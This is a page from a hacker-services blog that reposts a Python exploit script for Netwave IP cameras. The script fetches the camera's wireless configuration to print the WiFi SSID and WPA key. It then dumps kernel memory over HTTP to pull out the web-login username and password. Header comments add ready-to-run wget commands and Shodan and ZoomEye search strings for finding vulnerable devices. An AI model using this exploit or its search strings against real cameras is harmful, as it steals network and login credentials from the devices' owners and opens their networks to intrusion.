Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382984

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python2.7
##
## spiritnull(at)sigaint.org
##
## Run the exploit against the victim to get WIFI password
## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin
##
## magic for you bash:
## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings
## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat
## wget -qO- http://[HOST]:[PORT]//dev/rom0
## wget -qO- http://[HOST]:[PORT]/get_status.cgi
##
## shodan dork:
## "Server: Netwave IP Camera"
##
## zoomeye dork:
## Netwave IP camera http config
##



import sys,os,time,tailer
import urllib2
import subprocess
import signal
from threading import Thread

try:
	if sys.argv[1] == "-h" or sys.argv[1] == "--help":
		print "Usage: python pownetwave.py [HOST]:[PORT]"
		print "Example: python pownetwave.py 127.0.0.1:81"
		sys.exit(0)

	else:
		pass
except IndexError:
	print "Usage: python pownetwave.py [HOST]:[PORT]"
	print "Example: python pownetwave.py 127.0.0.1:81"
	sys.exit(0)

def signal_handler(signal, frame):
        print('\nclearing up..')
	os.system("rm -rf tmpstream.txt")
	os.system("rm -rf tmpstrings.out")
	os.system("killall -9 wget")
	os.system("killall -9 tail")
        sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

macaddr = ""
done = 0
linecount = 0


class bcolors:
	HEADER = '\033[95m'
	OKBLUE = '\033[94m'
	OKGREEN = '\033[92m'
	WARNING = '\033[93m'
	FAIL = '\033[91m'
	ENDC = '\033[0m'
	BOLD = '\033[1m'
	UNDERLINE = '\033[4m'


print "getting system information.."+sys.argv[1]
response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')
xcontent = response.read().split(";\n")
for line in xcontent:
	if line.startswith("var id="):
		line = line.split("'")
		macaddr = line[1]
	else:
		pass


print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC
print "getting wireless information.."


try:
	resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")
	xcontent = resp.read().split("\n")
	print "victims wireless information.."
	for line in xcontent:
		if line.startswith("WPAPSK") or line.startswith("SSID"):
			print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC
		else:
			print "\t\t"+str(line)
except:
	print "wireless lan is disabled.."


print "checking for memory dump vulnerability.."


try:
	urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')
except:
	print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC
	sys.exit(0)


print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC
proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)
os.system('echo "" >tmpstrings.out')
time.sleep(1)
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)
print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC


while 1:
	sys.stdout.flush()
	if os.stat('tmpstrings.out').st_size <= 1024:
		sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")
	else:
		sys.stdout.flush()
		print "strings in binary data found.. password should be around line 10000"
		for line in tailer.follow(open('tmpstrings.out','r')):
			sys.stdout.flush()
			if done == 0:
				linecount+= 1
				if line == macaddr:
					sys.stdout.flush()
					done = 1
					print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC
				else:
					sys.stdout.write(str(linecount)+"\r")
			elif done == 1:
				done = 2
				print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC
			elif done == 2:
				done = 3
				print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC
			elif done == 3:
				done = 4
				print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC
			elif done == 4:
				done = 0
				print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC
			else:
				pass


signal.pause()